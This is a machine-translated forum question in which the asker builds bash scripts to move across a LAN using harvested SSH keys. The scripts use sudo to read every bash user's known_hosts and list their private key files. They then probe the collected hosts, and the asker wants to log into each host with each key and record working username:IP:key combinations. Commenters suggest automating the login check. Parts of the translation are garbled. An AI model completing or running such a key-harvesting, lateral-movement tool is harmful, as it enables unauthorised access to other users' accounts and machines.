SSHキーを使用して、LANでまだアクティブなSSHサーバーを見つけるためにbashスクリプトを完了しようとしましたが、次のステップで停止しました。
#!/bin/bash
# LAN SSH KEYS DISCOVERY SCRIPT
</etc/passwd \
grep /bin/bash |
cut -d: -f6 |
sudo xargs -i -- sh -c '
[ -e "$1" ] && cat "$1"
' -- {}/.ssh/known_hosts |
cut -d' ' -f1 |
tr ',' '\n' |
sed '
/^\[/{
s/\[\(.*\)\]:\(.*\)/\1 \2/;
t;
};
s/$/ 22/;
' |
sort -u |
xargs -l1 -- sh -c '
if echo "~" | nc -q1 -w3 "$1" "$2" | grep -q "^SSH"; then
echo "#### SUCCESS $1 $2";
else
echo "#### ERROR $1 $2";
fi
' --
# TIME TO TEST WHICH SSH servers are still active with the SSH keys
# AND THIS IS WHERE I AM FROZEN...
# Would love to have bash script that could
# ssh -l $users_that_have_/bin/bash -i $ssh_keys $ssh_servers
# Would also be very nice if it could save active
# SSH servers with the valid keys in output.txt in the format
# username:local-IP:/path/to/SSH_key
読みやすくするもう一つのことがあります(ただし、いくつかの一時ファイルを生成します):
#!/bin/bash
# LAN SSH KEYS DISCOVERY SCRIPT
# TRYING TO FIND THOSE SSH KEYS NOW
cat /etc/passwd | grep /bin/bash > bash_users
cat bash_users | cut -d ":" -f 6 > cutted.bash_users_home_dir
for bash_users in $(cat cutted.bash_users_home_dir)
do
ls -al $bash_users/.ssh/*id_* >> ssh-keys.txt
done
# DISCOVERING THE KNOWN_HOSTS NOW
for known_hosts in $(cat cutted.bash_users_home_dir)
do
cat $bash_users/.ssh/known_hosts | awk '{print $1}' | sort -u >>
hosts_known.txt
sleep 2
done
hosts_known=$(wc -l hosts_known.txt)
echo "We have $hosts_known known hosts that could be still active via SSH
keys"
# TIME TO TEST WHICH SSH servers are still active with the SSH keys
# AND THIS IS WHERE I AM FROZEN...
# Would love to have bash script that could
# ssh -l $users_that_have_/bin/bash -i $ssh_keys $ssh_servers
# Would also be very nice if it could save active
# SSH servers with the valid keys in output.txt in the format
# username:local-IP:/path/to/SSH_key
ssh -l $users_that_have_/bin/bash -i $ssh_keys $ssh_servers
さて、上記のbashスクリプトに記載されているようにタスクを実行し、アクティブなログインをダンプする方法を見つけたいと思います。出力.txtファイル形式は次のとおりです。
username:local-IP:/path/to/SSH_key
回答助けゴティコメント:
今私は私のbashスクリプトに統合する方法を見つけようとしています。これは私の現在の試みです:
users=$(cat cutted.bash_users)
ssh_keys=$(cat ssh-keys.txt)
if ssh -l $users -i $ssh_keys $hosts_known -o BatchMode=yes -o
ConnectTimeout=5
then echo $users:$hosts_known:$ssh_keys SUCCESS >> results.txt
else
echo FAILED
fi
答え1
残念ながらコメントを追加できないようで(評判ポイント50が必要)皆さんに返信を追加することになりました。また、以前に質問を修正しましたが、次の通知を受けました。
提案された修正はレビューを待っています。 Patrick Mevzekが2時間前にこれについてコメントしました。この編集内容を拒否することは投稿者の意図であり、編集者として話すことはできません。コメントや回答で書く必要があります。
U&LへようこそSSHに戻りコードがあることをご存知でしたか? -o BatchMode = yesと組み合わせて使用すると、テストを自動化するのに役立ちます。 (例: ssh ... ; then echo good for ... >> good.txt ; それ以外の場合 echo bad for ... >> bad.txt ; fi ) – Archemar 54分前とcanの場合 cat|grep|カット| $(awk -F: '$7 ~ //bin/bash/ { print $6 }' /etc/passwd) do.... – DopeGhoti 1分前
したがって、明確にするには、ユーザーごとに、Known_hostsの各ホストに対して〜username / .sshにある仮定された秘密鍵を使用して各ホストにログインしようとします。 – DopeGhoti 25分前:はい
ここ;
今、私はこのアイデアを次のようにbashスクリプトに統合する方法を見つけようとしています。
users=$(cat cutted.bash_users)
cat ssh-keys.txt | awk '{print $9}' > cutted.ssh_keys.txt
ssh_keys=$(cat cutted.ssh_keys.txt)
if ssh -l $users -i $ssh_keys $hosts_known -o BatchMode=yes -o ConnectTimeout=5
then echo $users:$hosts_known:$ssh_keys SUCCESS >> results.txt
else
echo $users:$hosts_known:$ssh_keys FAILED >> not-active.txt
fi
あなたがこれを達成する方法を知っているなら、私はそれを行う方法を学ぶことができてとても嬉しいです。
ありがとう